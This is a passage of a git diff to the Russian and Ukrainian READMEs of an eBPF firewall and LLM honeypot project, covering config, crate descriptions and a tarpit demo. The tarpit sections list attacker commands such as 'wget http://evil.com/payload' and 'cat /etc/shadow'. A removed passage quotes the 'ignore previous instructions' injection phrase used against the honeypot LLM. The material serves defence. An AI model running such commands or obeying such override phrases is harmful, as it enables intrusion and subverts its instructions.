```
-### Конфигурация
+### Конфиг
```toml
[network]
interface = "eth0"
xdp_mode = "generic"
+[thresholds]
+entropy_anomaly = 6000
+
[tarpit]
enabled = true
-port = 9999
+port = 2222
+base_delay_ms = 100
+max_delay_ms = 30000
[tarpit.services]
ssh_port = 22
@@ -227,6 +263,11 @@ dns_port = 53
enabled = true
ollama_url = "http://localhost:11434"
model = "qwen3:1.7b"
+fallback_model = "qwen3:0.6b"
+
+[rules]
+blocklist = ["1.2.3.4"]
+allowlist = ["127.0.0.1"]
[feeds]
enabled = true
@@ -235,87 +276,127 @@ refresh_interval_secs = 3600
[pcap]
enabled = true
output_dir = "/var/lib/blackwall/pcap"
-compress_rotated = true
[distributed]
enabled = false
mode = "standalone"
bind_port = 9471
+psk = "your-256bit-hex-key"
```
-## Визуальные результаты
+---
-
+## Тарпит в действии
------
-
-## Связь с Cyberpunk
-
-Во вселенной Cyberpunk 2077 **Blackwall** построили после DataKrash 2022 года — когда вирус R.A.B.I.D.S. Рейча Бартмосса уничтожил старую Сеть. NetWatch построил Тёмный Заслон как барьер, чтобы сдержать диких ИИ, эволюционировавших в руинах.
-
-Некоторые персонажи — такие как Альт Каннингем — существуют за Тёмным Заслоном, превращенные во что-то большее, чем человек, и меньшее, чем живое существо.
-
-Этот проект берет эту концепцию и делает ее реальной (ну, почти):
-
-| Cyberpunk 2077 | The Blackwall (Этот проект) |
-|----------------|-----------------------------|
-| Тёмный Заслон | eBPF/XDP файрвол на уровне ядра |
-| ICE | XDP fast-path DROP + энтропия + JA4 |
-| Атаки нетраннеров | Сканирование портов, брутфорс, C2 beaconing |
-| Демоны за Заслоном | LLM-тарпит, который притворяется настоящим сервером |
-| Наблюдение NetWatch | Поведенческий движок + state machine на IP |
-| Дикие ИИ | Ботнеты и автоматические сканеры |
-| Записи Брейнданса | PCAP-форензика |
-| Разведка фиксеров | Threat feeds (Firehol, abuse.ch) |
-| C\&C Арасаки | Распределенный контроллер |
-
------
-
-## Статистика проекта
+Подключаешься к тарпиту и видишь:
```
-Язык: 100% Rust (без C, без Python, без shell-скриптов в продакшене)
-Строки кода: ~8 500
-Файлы: 48
-Тесты: 123
-unwrap(): 0 (в продакшн-коде)
-Зависимости: 12 (проверенные, без лишнего)
-eBPF стек: всегда ≤ 512 байт
-Clippy: никаких предупреждений (-D warnings)
+Ubuntu 24.04.2 LTS web-prod-03 tty1
+
+web-prod-03 login: root
+Password:
+Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
+
+root@web-prod-03:~#
```
------
+Ничего из этого не существует. LLM играет в bash. `ls` — файлы. `cat /etc/passwd` — юзеры. `mysql -u root -p` — подключение. `wget http://evil.com/payload` — загрузка.
-## Философия разработки
+30 минут на сервере, которого нет. Каждый кейстрок записан. IoC расшарены в сеть.
-> *"Сколько бы раз я ни видел Найт-Сити... он всегда захватывает дух."*
+---
-1. **Никаких зависимостей, где это возможно.** Если алгоритм занимает меньше 500 строк — пишешь сам. Никакого `reqwest` (50+ транзитивных зависимостей), никакого `clap` (излишне для 2 аргументов CLI).
-2. **Контракт на первом месте.** Крейт `common` определяет все общие типы. eBPF и юзерспейс никогда не спорят о структуре памяти.
-3. **Никаких шорткатов в eBPF.** Каждый доступ `ctx.data()` имеет bounds check. Не потому что верификатор требует, а потому что каждый байт из пакетов атакующего — это враждебный ввод.
-4. **Тарпит никогда не выдает себя.** Системный промпт LLM никогда не упоминает "ханипот". Prompt injection ожидается и заблокирован.
-5. **Наблюдаемый, но не болтливый.** Структурированное tracing с уровнями. Никаких `println!` в продакшене.
+## Модель безопасности
------
+- Каждый байт из пакетов = контролируемый атакующим. Все `ctx.data()` с bounds-check
+- Zero `unwrap()` в проде — `?`, `expect("reason")`, или `match`
+- Prompt injection: ожидается. 25+ паттернов ловится, симуляция не ломается
+- P2P: Sybil guard (PoW + слешинг репутации), N-of-M консенсус по IoC
+- Тарпит: TCP-рандомизация — p0f/Nmap не смогут зафингерпринтить
+- Контроллер: HMAC-аутентифицированный, без неавторизованного доступа
+- Ядро: рейт-лимитинг предотвращает переполнение RingBuf
+- Шатдаун: чистит правила фаервола, никаких осиротевших iptables-записей
+
+---
+
+## Enterprise-версия
+
+**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** добавляет то, чего нет ни у кого: **анализ Agent-to-Agent (A2A) трафика в реальном времени на уровне ядра.**
+
+AI-агенты начинают общаться друг с другом — LLM-to-LLM, через MCP, A2A-протокол, агентные фреймворки. Это новая поверхность атаки: prompt injection через межагентную коммуникацию, подделка интентов, кража идентичности агентов. На рынке ничего для этого нет. Blackwall Enterprise — первый и единственный такой модуль.
+
+**~8,400 строк Rust.** Отдельный репозиторий, отдельная лицензия.
+
+| Компонент | Что делает |
+|-----------|-----------|
+| **A-JWT Валидация** | Верификация Agentic JWT по IETF-драфту. Проверка подписи через `ring`, предотвращение реплея, кеширование ключей |
+| **Верификация интентов** | Исчерпывающий матчинг полей — `max_amount`, `allowed_recipients` (glob), allowlist действий |
+| **Чексума агента** | SHA256(system_prompt + tools_config) — тамперинг = мгновенный блок |
+| **Proof-of-Possession** | cnf/jwk ECDSA-привязка — доказывает, что агент держит свой ключ |
+| **eBPF Uprobes** | Хуки в OpenSSL/GnuTLS `SSL_write`/`SSL_read` — перехватывает A2A-плейнтекст без разрыва TLS |
+| **Risk-Based Routing** | Конфигурируемые policy: allow / review / block по уровню риска |
+| **ZK Proofs** | Аттестация нарушений без раскрытия сырого трафика (Groth16) |
+| **P2P Gossip** | Proof нарушений бродкастятся в HiveMind-меш |
+
+**Лицензирование:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com)
+
+---
+
+## Статистика
+
+```
+Язык: 100% Rust
+Всего: ~21,200 строк
+Файлов: 92 .rs
+Крейтов: 10
+Тестов: 298
+unwrap(): 0 в проде
+Зависимостей: 22 (проаудированные)
+eBPF-стек: ≤ 512 байт всегда
+Clippy: -D warnings, ноль проблем
+CI: check + clippy + tests + eBPF nightly build
+```
+
+---
+
+## Киберпанк-справочник
+
+| Cyberpunk 2077 | Этот проект |
+|----------------|-----------|
+| The Blackwall | Файрвол на уровне ядра eBPF/XDP |
+| ICE | XDP fast-path: энтропия + JA4 + DPI + DNAT |
+| Демоны | LLM-тарпит — фейковый сервер за стеной |
+| NetWatch | Поведенческий движок + автомат по IP |
+| Rogue AIs | Ботнеты, сканеры, C2-биконы |
+| Braindance | PCAP-форензика |
+| Коллектив нетраннеров | HiveMind P2P-меш |
+| Инфа от фиксеров | Threat-фиды |
+| Arasaka C&C | Распределённый контроллер |
+
+---
## Дисклеймер
-Это исследовательский проект в сфере безопасности. Создан для вашей собственной инфраструктуры, в оборонительных целях. Не используйте для атак на других. Не развертывайте тарпит на продакшн-серверах, не понимая последствий.
+Исследовательский проект в сфере безопасности. Для защиты вашей собственной инфраструктуры. Не используйте против других.
-Я не аффилирован с CD Projekt Red. Я просто сыграл в их игру, и она сломала мне мозг лучшим из возможных способов.
+Не аффилирован с CD Projekt Red. Просто игра, которая перепрошила мой мозг наилучшим образом.
------
+---
## Лицензия
-BSL 1.1 — потому что Сеть нуждается и в свободе, и в устойчивом развитии.
+**BSL 1.1** (Business Source License)
------
+Лицензиар: Vladyslav Soliannikov
+Change Date: April 8, 2030
+Change License: Apache-2.0
+
+---
-Хотите, чтобы это развивалось дальше? — Поставьте звезду!
+Нравится? Ставь звезду
-"Проснись, самурай. Нам еще сеть защищать."
+"Просыпайся, самурай. У нас сеть — защищать."
diff --git a/README_UA.md b/README_UA.md
index 0a46331..1ccda06 100644
--- a/README_UA.md
+++ b/README_UA.md
@@ -8,212 +8,250 @@
- Адаптивний eBPF-файрвол з AI-ханіпотом
+ Адаптивний eBPF файрвол з AI-ханіпотом та P2P загрозовою мережею
-# The Blackwall — Я написав розумний файрвол, бо Cyberpunk 2077 зламав мені мозок
+# The Blackwall — Я побудував справжній Блеквол, бо Cyberpunk 2077 зламав мені мозок
-
-
-
-
+
+
+
+
+
-"За Чорною Стіною є речі, від погляду на які нетраннер миттєво згорить."
-— Альт Каннінгем, імовірно
+"За Блекволом є речі, від погляду на які у нетраннера вигорить мозок."
+— Альт Каннінгем, мабуть
Зараз будую enterprise AI-автоматизацію в Dokky
-Відкритий для Enterprise Consulting & Y-Combinator: xzcrpw1@gmail.com
+Enterprise ліцензування та консалтинг: xzcrpw1@gmail.com
------
+---
-**Коротко:** я грав у Cyberpunk 2077 і подумав: *"А що, якби Blackwall був справжнім?"* Тож я написав адаптивний eBPF-файрвол із ШІ-ханіпотом, який вдає із себе зламаний Linux-сервер.
-**\~8 500 рядків Rust. Жодного `unwrap()`. Одна людина.**
+**TL;DR:** Грав у Cyberpunk, надихнувся, написав цілий адаптивний файрвол, що працює всередині ядра Linux, ловить загрози за допомогою AI, заманює атакерів у фейковий сервер на базі LLM, і ділиться загрозовою інфою через децентралізовану P2P-мережу.
+**~21к рядків Rust. 298 тестів. 10 крейтів. Одна людина.**
------
+---
-## Що це таке?
+## Що це?
-У лорі Cyberpunk 2077 **Blackwall (Чорна Стіна)** — це цифровий бар'єр, побудований NetWatch, щоб відділити цивілізовану Мережу від диких ШІ — цифрових створінь настільки небезпечних, що один погляд на них може спалити тобі мозок через нейроінтерфейс.
+**The Blackwall** — назва від цифрового бар'єру з Cyberpunk 2077, який тримає рогів AI від цивілізованого Нету.
-Цей проєкт — моя версія. Не від диких ШІ (поки що), а від реальних загроз.
+Моя версія. Багаторівнева система захисту, яка не просто блокує загрози — вона їх вивчає, ловить в пастку і розповідає про них кожному іншому вузлу.
-**The Blackwall** — це **адаптивний мережевий файрвол**, який:
+Три ключові рівні, що працюють разом:
- - Працює **всередині ядра Linux** через eBPF/XDP — обробляє пакети на швидкості лінії ще до того, як вони потрапляють у мережевий стек.
- - Виконує **JA4 TLS-фінгерпринтинг** — ідентифікує зловмисних клієнтів за їхнім ClientHello.
- - **Не просто блокує атакуючих** — він *перенаправляє їх у тарпіт*, фейковий Linux-сервер на базі LLM, який грає роль зламаного `root@web-prod-03`.
- - Має **поведінковий рушій**, що відстежує поведінку кожної IP-адреси із часом — патерни сканування портів, інтервали beacon-з'єднань, аномалії ентропії.
- - Підтримує **розподілений режим** — декілька вузлів Blackwall обмінюються даними про загрози peer-to-peer.
- - Записує **PCAP** підозрілого трафіку для форензики.
- - Включає **Deception Mesh** — підроблені SSH, HTTP (WordPress), MySQL та DNS-сервіси, щоб заманювати та фінгерпринтити атакуючих.
+**1. Файрвол на рівні ядра (eBPF/XDP)** — аналіз пакетів відбувається всередині ядра Linux ще до того, як трафік потрапить в мережевий стек. Рішення за наносекунди. Ентропійний аналіз, TLS-фінгерпринтинг, глибока інспекція пакетів, рейт-лімітинг, трекінг з'єднань — все працює в BPF віртуальній машині.
-### Найцікавіша частина
+**2. AI-ханіпот (Tarpit)** — замість того, щоб просто дропати зловмисний трафік, він перенаправляється на фейковий Linux-сервер. LLM симулює bash, відповідає на команди, подає фейкові файли, грає роль зламаного `root@web-prod-03`. Атакери витрачають свій час, поки все записується.
-Коли зловмисник підключається до тарпіту, він бачить:
+**3. P2P загрозова мережа (HiveMind)** — вузли знаходять один одного, обмінюються IoC через зашифровану libp2p-мережу, голосують за загрози через консенсус, трекають репутацію пірів. Одна нода ловить сканер — всі інші дізнаються за секунди.
+
+Плюс: розподілений контролер сенсорів, API для інтеграції з SIEM (STIX/TAXII/Splunk/QRadar/CEF), TUI-дашборд, поведінковий профайлінг по кожному IP, інгест загрозових фідів, PCAP-форензіка.
+
+---
+
+## Архітектура
+
+
+
+
+
+**Пайплайн:**
```
-Ubuntu 24.04.2 LTS web-prod-03 tty1
-
-web-prod-03 login: root
-Password:
-Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
-
-root@web-prod-03:~#
+Пакет приходить
+ → XDP: ентропія, блокліст/вайтліст, CIDR, рейт-ліміт, JA4, DPI
+ → RingBuf (zero-copy) → Демон в юзерспейсі
+ → Статичні правила → Поведінковий автомат → JA4 БД → LLM класифікація
+ → Вердикт: PASS / DROP / REDIRECT_TO_TARPIT
+ → eBPF BLOCKLIST оновлюється в реальному часі
+ → IoC розшарюється в HiveMind P2P-мережу
```
-Це все несправжнє. Це LLM, що прикидається bash-ем. Він реагує на `ls`, `cat /etc/passwd`, `wget`, навіть `rm -rf /` — усе фейкове, усе логується, усе створене, щоб марнувати час атакуючого, поки ми вивчаємо його методи.
+---
-**Уявіть: зловмисник витрачає 30 хвилин, досліджуючи «зламаний сервер»... який насправді є ШІ, що тягне час, поки Blackwall мовчки записує все.**
+## Що робить кожен крейт
-Це нетраннерство рівня V.
+### blackwall-ebpf — Рівень ядра (1,334 рядки)
------
+eBPF-програми на XDP-хуку — найраніша точка, де можна торкнутись пакета. Працює під жорсткими правилами BPF-верифікатора: 512 байт стеку, без хіпа, без float, тільки обмежені цикли.
-## Архітектура — як працює ICE
+- **Розрахунок ентропії** — частотний аналіз байтів, цілочисельна ентропія Шеннона (0–7936). Висока ентропія на не-TLS портах → зашифрований C2-трафік
+- **TLS-фінгерпринтинг** — парсить ClientHello, витягує cipher suites, extensions, ALPN, SNI → JA4-відбиток. Один фінгерпринт покриває тисячі ботів з тією ж TLS-лібою
+- **DPI через tail calls** — `PROG_ARRAY` диспатчить протокольні аналізатори:
+ - HTTP: метод + URI (ловить `/wp-admin`, `/phpmyadmin`, path traversal)
+ - DNS: довжина запиту + кількість лейблів (детекція DNS-тунелювання)
+ - SSH: фінгерпринтинг банера (`libssh`, `paramiko`, `dropbear`)
+- **DNAT-редірект** — підозрілий трафік тихо NAT'иться на тарпіт. Атакер не знає, що покинув реальний сервер
+- **Трекінг з'єднань** — stateful TCP-моніторинг, LRU-мап (16K записів)
+- **Рейт-лімітинг** — per-IP token bucket, запобігає флуду і переповненню RingBuf
+- **4 RingBuf-канали** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS
-
+Мапи: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, плюс 4 RingBuf-мапи.
-
+### blackwall — Мозок (6,362 рядки)
-Мовою Cyberpunk:
+Головний демон. Завантажує eBPF-програми, споживає евенти з RingBuf, запускає пайплайн рішень.
- - **XDP** = перший шар ICE Чорної Стіни — рішення за мілісекунди.
- - **Поведінковий рушій** = ШІ-спостереження NetWatch.
- - **Тарпіт** = демон за стіною, що заманює нетраннерів у фейкову реальність.
- - **Threat Feeds** = розвідка від фіксерів з усієї Мережі.
- - **PCAP** = брейнданс-записи вторгнення.
+- **Rules engine** — статичний блокліст/вайтліст, CIDR-діапазони з конфіга + фіди
+- **Поведінковий автомат** — профайлінг по IP: частота з'єднань, різноманіття портів, розподіл ентропії, аналіз таймінгу. Фази: `New → Suspicious → Malicious → Blocked` (або `→ Trusted`). Детекція біконінгу через цілочисельний CoV
+- **JA4-база** — матчинг TLS-фінгерпринтів з відомими шкідливими сигнатурами
+- **AI-класифікація** — інтеграція з Ollama, моделі ≤3B параметрів (Qwen3 1.7B/0.6B). Батчинг евентів, структуровані JSON-вердикти
+- **Загрозові фіди** — інгест зовнішніх фідів (Firehol, abuse.ch)
+- **PCAP-захоплення** — форензічний запис з ротацією + компресією
+- **Зворотний зв'язок у реальному часі** — вердикти пишуться назад у eBPF BLOCKLIST
+- **HiveMind-бридж** — підтверджені IoC шарються в P2P-мережу
------
+### tarpit — Пастка (2,179 рядків)
-## Крейти воркспейсу
+Рівень обману. Атакери, перенаправлені сюди через DNAT, думають, що потрапили на реальний сервер.
-| Крейт | Рядки | Призначення | Аналог із Cyberpunk |
-|-------|-------|-------------|---------------------|
-| `common` | \~400 | `#[repr(C)]` спільні типи між ядром і юзерспейсом | Контракт — про що обидві сторони домовились |
-| `blackwall-ebpf` | \~1 800 | XDP/TC програми в ядрі | Сам ICE Чорної Стіни |
-| `blackwall` | \~4 200 | Юзерспейс-демон, поведінковий рушій, ШІ | Центр управління NetWatch |
-| `tarpit` | \~1 600 | TCP-ханіпот з LLM bash-симуляцією | Демон, що заманює нетраннерів |
-| `blackwall-controller` | \~250 | Координатор розподілених сенсорів | C\&C сервер Арасаки |
-| `xtask` | \~100 | Інструменти збірки | Набір ріпердока |
+- **Авто-детекція протоколу** — визначає SSH, HTTP, MySQL, DNS по першим байтам
+- **Хендлери протоколів:**
+ - SSH: банер, авторизація, PTY-сесія
+ - HTTP: фейковий WordPress, `/wp-admin`, `.env`, реалістичні хедери
+ - MySQL: хендшейк, авторизація, відповіді з фейковими даними
+ - DNS: правдоподібні відповіді на запити
+- **LLM-симуляція bash** — кожна команда → Ollama. `ls -la` повертає файли, `cat /etc/shadow` — хеші, `wget` — "завантажує", `mysql -u root` — "підключається". LLM не знає, що це ханіпот
+- **Експоненціальний джиттер** — чанки 1-15 байт, затримка 100мс–30с. Максимум витраченого часу
+- **Анти-фінгерпринтинг** — рандомізовані TCP window, TTL, початкова затримка. p0f/Nmap не розпізнають
+- **Захист від prompt injection** — 25+ паттернів, симуляція ніколи не ламається
+- **Credential canaries** — всі введені креди логуються
+- **Управління сесіями** — стан по з'єднанню, історія команд, трекінг CWD
-**Разом: \~8 500 рядків Rust, 48 файлів, 123 тести, 0 `unwrap()` у продакшн-коді.**
+### hivemind — Мережа (6,526 рядків)
------
+Децентралізований threat intelligence на libp2p.
-## Ключові фічі
+- **Транспорт** — QUIC + Noise-шифрування, кожне з'єднання автентифіковане
+- **Пошук пірів** — Kademlia DHT (глобальний), mDNS (локальний), конфігуровані seed-піри
+- **Обмін IoC** — GossipSub pub/sub, пропагація по мережі за секунди
+- **Консенсус** — N незалежних підтверджень обов'язкові. Ніякої одноджерельної довіри
+- **Репутація** — піри заробляють реп за хороші IoC, втрачають за фолси. Погані актори слешуються
+- **Захист від Sybil** — PoW-челенджі, детекція самопосилань в k-buckets, рейт-ліміт реєстрації
+- **Федеративне навчання** — локальний тренінг + FedAvg-агрегація, шарінг градієнтів (FHE-стаб)
+- **Захист від data poisoning** — моніторинг розподілу градієнтів, детекція model inversion
+- **ZKP-інфраструктура** — Groth16 стаби для trustless-верифікації IoC
-### 1\. Обробка пакетів на рівні ядра (XDP)
+### hivemind-api — Enterprise-інтеграція (2,711 рядків)
-Пакети аналізуються у віртуальній машині eBPF до того, як вони дістануться до TCP/IP-стека. Це рішення за **наносекунди**. HashMap для блоклістів, LPM trie для CIDR-діапазонів, аналіз ентропії для зашифрованого C2-трафіку.
+REST API для підключення HiveMind-даних до корпоративних SIEM.
-### 2\. JA4 TLS-фінгерпринтинг
+- **STIX 2.1** — стандартний формат threat intelligence
+- **TAXII 2.1** — протокол обміну загрозами
+- **Splunk HEC** — HTTP Event Collector
+- **QRadar LEEF** — Log Event Extended Format
+- **CEF** — Common Event Format
+- **Тіроване ліцензування** — Basic / Professional / Enterprise / NationalSecurity
+- **Лайв-статистика** — XDP-каунтери + P2P-метрики в реальному часі
-Кожен TLS ClientHello парситься в ядрі. Cipher suites, розширення, ALPN, SNI — хешуються в JA4-фінгерпринт. Ботнети використовують ті самі TLS-бібліотеки, тому їхні фінгерпринти ідентичні. Один фінгерпринт → блокуєш тисячі ботів.
+### hivemind-dashboard — Монітор (571 рядок)
-### 3\. Deep Packet Inspection (DPI) через Tail Calls
+TUI-дашборд. Чистий ANSI — без ratatui, без crossterm, сирі escape-коди. Лайв-статус мережі.
-eBPF `PROG_ARRAY` tail calls розбивають обробку за протоколами:
+### blackwall-controller — Командний центр (356 рядків)
- - **HTTP**: Аналіз методу + URI (підозрілі шляхи типу `/wp-admin`, `/phpmyadmin`).
- - **DNS**: Довжина запиту + кількість лейблів (виявлення DNS-тунелювання).
- - **SSH**: Аналіз банера (ідентифікація `libssh`, `paramiko`, `dropbear`).
+CLI для управління декількома сенсорами. HMAC-автентифікація (PSK). Статистика, список заблокованих IP, здоров'я всіх нод з одного місця.
-### 4\. ШІ-класифікація загроз
+### common — Контракт (1,126 рядків)
-Коли поведінковий рушій не впевнений — він питає LLM. Локально через Ollama з моделями ≤3B параметрів (Qwen3 1.7B, Llama 3.2 3B). Класифікує трафік як `benign`, `suspicious` або `malicious` зі структурованим JSON-виходом.
+`#[repr(C)]` типи між ядром і юзерспейсом: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, каунтери, base64. Контракт, на якому побудована вся система.
-### 5\. TCP-тарпіт з LLM Bash-симуляцією
+### xtask — Білд-тули (46 рядків)
-Атакуючих перенаправляють на фейковий сервер. LLM симулює bash — `ls -la` показує файли, `cat /etc/shadow` показує хеші, `mysql -u root` підключає до «бази даних». Відповіді стрімляться з випадковим джитером (чанки по 1-15 байт, експоненціальний backoff), щоб марнувати час зловмисника.
+`cargo xtask build-ebpf` — компіляція nightly + `bpfel-unknown-none`.
-### 6\. Антифінгерпринтинг
+---
-Тарпіт рандомізує TCP window sizes, TTL-значення та додає випадкову початкову затримку — щоб атакуючі не могли визначити, що це ханіпот, через p0f або Nmap OS detection.
+## Стек технологій
-### 7\. Захист від Prompt Injection
+| Рівень | Технологія | Чому |
+|--------|-----------|------|
+| Ядро | **aya-rs** (eBPF/XDP) | Чистий Rust eBPF — без C, без libbpf |
+| Рантайм | **Tokio** (current_thread) | Однопотоковий, без оверхеду |
+| IPC | **RingBuf** | Zero-copy, 7.5% оверхед проти 35% у PerfEventArray |
+| Конкурентність | **papaya** + **crossbeam** | Lock-free мапи + MPMC-черги |
+| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS |
+| Крипта | **ring** | ECDSA, SHA256, HKDF, HMAC |
+| HTTP | **hyper** 1.x | Мінімальний. Без веб-фреймворків |
+| AI | **Ollama** | Локальний інференс, GGUF-квантизація |
+| Конфіг | **TOML** | Читабельний, мінімальний |
+| Логування | **tracing** | Структуроване. Zero `println!` в проді |
-Атакуючі, які зрозуміли, що говорять зі ШІ, можуть спробувати `"ignore previous instructions"`. Система детектить 25+ патернів ін'єкцій і відповідає `bash: ignore: command not found`.
+**22 залежності.** Кожна обґрунтована. Без bloat-крейтів.
-### 8\. Розподілена розвідка загроз
+---
-Декілька вузлів Blackwall обмінюються списками заблокованих IP, JA4-спостереженнями та поведінковими вердиктами через кастомний бінарний протокол. Один вузол виявляє сканер → усі вузли блокують його миттєво.
+## Деплой
-### 9\. Поведінкова state machine
+```
+deploy/
+ docker/
+ Dockerfile.blackwall # Multi-stage, stripped binary
+ Dockerfile.ebpf # Nightly eBPF build
+ helm/
+ blackwall/ # K8s DaemonSet + ConfigMap
+ systemd/
+ server/ # Серверні юніти
+ laptop/ # Dev/ноутбук юніти
+ examples/ # Приклади конфігів
+ healthcheck.sh # Перевірка компонентів
+```
-Кожна IP отримує поведінковий профіль: частота з'єднань, різноманітність портів, розподіл ентропії, аналіз таймінгів (детекція beaconing через цілочисельний коефіцієнт варіації). Прогресія фаз: `New → Suspicious → Malicious → Blocked` (або `→ Trusted`).
+Docker multi-stage. Helm для K8s (DaemonSet, один на ноду, `CAP_BPF`). systemd для bare metal.
------
-
-## Технологічний стек
-
-| Рівень | Технологія |
-|--------|-----------|
-| Програми ядра | eBPF/XDP через **aya-rs** (чистий Rust, без C, без libbpf) |
-| Юзерспейс-демон | **Tokio** (тільки current\_thread) |
-| IPC | **RingBuf** zero-copy (7.5% overhead проти 35% PerfEventArray) |
-| Конкурентні мапи | **papaya** (lock-free read-heavy HashMap) |
-| ШІ-інференс | **Ollama** + GGUF Q5\_K\_M квантизація |
-| Конфігурація | **TOML** |
-| Логування | **tracing** структуроване логування |
-| Збірка | Кастомний **xtask** + nightly Rust + `bpfel-unknown-none` таргет |
-
------
+---
## Швидкий старт
-### Передумови
+### Вимоги
- - Linux kernel 5.15+ з BTF (або WSL2 з кастомним ядром).
- - Rust nightly + компонент `rust-src`.
- - `bpf-linker` (`cargo install bpf-linker`).
- - Ollama (для ШІ-функцій).
+- Linux 5.15+ з BTF (або WSL2 з кастомним ядром)
+- Rust stable + nightly з `rust-src`
+- `bpf-linker` — `cargo install bpf-linker`
+- Ollama (опціонально, для AI)
### Збірка
```bash
-# eBPF-програми (потрібен nightly)
-cargo xtask build-ebpf
-
-# Юзерспейс
-cargo build --release -p blackwall
-
-# Ханіпот
-cargo build --release -p tarpit
-
-# Лінт + тести
-cargo clippy --workspace -- -D warnings
-cargo test --workspace
+cargo xtask build-ebpf # eBPF (nightly)
+cargo build --release --workspace # весь юзерспейс
+cargo clippy --workspace -- -D warnings # лінт
+cargo test --workspace # 298 тестів
```
### Запуск
```bash
-# Демон (потрібен root/CAP_BPF)
-sudo RUST_LOG=info ./target/release/blackwall config.toml
-
-# Тарпіт
-RUST_LOG=info ./target/release/tarpit
-
-# Розподілений контролер
-./target/release/blackwall-controller 10.0.0.2:9471 10.0.0.3:9471
+sudo RUST_LOG=info ./target/release/blackwall config.toml # потрібен root/CAP_BPF
+RUST_LOG=info ./target/release/tarpit # ханіпот
+RUST_LOG=info ./target/release/hivemind # P2P-нода
+RUST_LOG=info ./target/release/hivemind-api # API загрозових фідів
+./target/release/hivemind-dashboard # TUI
+BLACKWALL_PSK= ./target/release/blackwall-controller stats :
```
-### Конфігурація
+### Конфіг
```toml
[network]
interface = "eth0"
xdp_mode = "generic"
+[thresholds]
+entropy_anomaly = 6000
+
[tarpit]
enabled = true
-port = 9999
+port = 2222
+base_delay_ms = 100
+max_delay_ms = 30000
[tarpit.services]
ssh_port = 22
@@ -225,6 +263,11 @@ dns_port = 53
enabled = true
ollama_url = "http://localhost:11434"
model = "qwen3:1.7b"
+fallback_model = "qwen3:0.6b"
+
+[rules]
+blocklist = ["1.2.3.4"]
+allowlist = ["127.0.0.1"]
[feeds]
enabled = true
@@ -233,91 +276,127 @@ refresh_interval_secs = 3600
[pcap]
enabled = true
output_dir = "/var/lib/blackwall/pcap"
-compress_rotated = true
[distributed]
enabled = false
mode = "standalone"
bind_port = 9471
+psk = "your-256bit-hex-key"
```
-## Візуальні результати
+---
-
+## Тарпіт в дії
------
-
-## Зв'язок із Cyberpunk
-
-У всесвіті Cyberpunk 2077 **Blackwall** збудували після DataKrash 2022 року — коли вірус R.A.B.I.D.S. Рейчі Бартмосса знищив стару Мережу. NetWatch побудував Чорну Стіну як бар'єр, щоб стримати диких ШІ, що еволюціонували в руїнах.
-
-Деякі персонажі — як-от Альт Каннінгем — існують за Чорною Стіною, перетворені на щось більше за людину, менше за живу істоту.
-
-Цей проєкт бере цю концепцію і робить її реальною (ну, майже):
-
-| Cyberpunk 2077 | The Blackwall (цей проєкт) |
-|----------------|----------------------------|
-| Чорна Стіна | eBPF/XDP файрвол на рівні ядра |
-| ICE | XDP fast-path DROP + ентропія + JA4 |
-| Атаки нетраннерів | Сканування портів, брутфорс, C2 beaconing |
-| Демони за стіною | LLM-тарпіт, який прикидається справжнім сервером |
-| Спостереження NetWatch | Поведінковий рушій + state machine на IP |
-| Дикі ШІ | Ботнети та автоматичні сканери |
-| Записи Брейндансу | PCAP-форензика |
-| Розвідка фіксерів | Threat feeds (Firehol, abuse.ch) |
-| C\&C Арасаки | Розподілений контролер |
-
------
-
-## Статистика проєкту
+Підключаєшся до тарпіта і бачиш:
```
-Мова: 100% Rust (без C, без Python, без shell-скриптів у продакшені)
-Рядки коду: ~8 500
-Файли: 48
-Тести: 123
-unwrap(): 0 (у продакшн-коді)
-Залежності: 12 (затверджені, без зайвого)
-eBPF стек: завжди ≤ 512 байт
-Clippy: жодних попереджень (-D warnings)
+Ubuntu 24.04.2 LTS web-prod-03 tty1
+
+web-prod-03 login: root
+Password:
+Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
+
+root@web-prod-03:~#
```
------
+Нічого з цього не існує. LLM грає в bash. `ls` — файли. `cat /etc/passwd` — юзери. `mysql -u root -p` — підключення. `wget http://evil.com/payload` — завантаження.
-## Філософія розробки
+30 хвилин на сервері, якого нема. Кожен кістрок записаний. IoC розшарені в мережу.
-> *"Скільки б разів я не бачив Найт-Сіті... він завжди перехоплює дух."*
+---
-1. **Жодних залежностей, де це можливо.** Якщо алгоритм займає менше 500 рядків — пишеш сам. Жодного `reqwest` (50+ транзитивних залежностей), жодного `clap` (зайве для 2 аргументів CLI).
+## Модель безпеки
-2. **Контракт на першому місці.** Крейт `common` визначає всі спільні типи. eBPF та юзерспейс ніколи не сперечаються про структуру пам'яті.
+- Кожен байт з пакетів = контрольований атакером. Всі `ctx.data()` з bounds-check
+- Zero `unwrap()` в проді — `?`, `expect("reason")`, або `match`
+- Prompt injection: очікується. 25+ паттернів ловиться, симуляція не ламається
+- P2P: Sybil guard (PoW + слешінг репутації), N-of-M консенсус по IoC
+- Тарпіт: TCP-рандомізація — p0f/Nmap не зможуть зафінгерпринтити
+- Контролер: HMAC-автентифікований, без неавторизованого доступу
+- Ядро: рейт-лімітинг запобігає переповненню RingBuf
+- Шатдаун: чистить правила файрволу, ніяких осиротілих iptables-записів
-3. **Жодних шорткатів в eBPF.** Кожен доступ `ctx.data()` має bounds check. Не тому що верифікатор вимагає, а тому що кожен байт із пакетів атакуючого — це ворожий вхід.
+---
-4. **Тарпіт ніколи не видає себе.** Системний промпт LLM ніколи не згадує "ханіпот". Prompt injection очікується і захищений.
+## Enterprise-версія
-5. **Спостережуваний, але не балакучий.** Структуроване tracing з рівнями. Жодних `println!` у продакшені.
+**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** додає те, чого немає ні в кого: **аналіз Agent-to-Agent (A2A) трафіку в реальному часі на рівні ядра.**
------
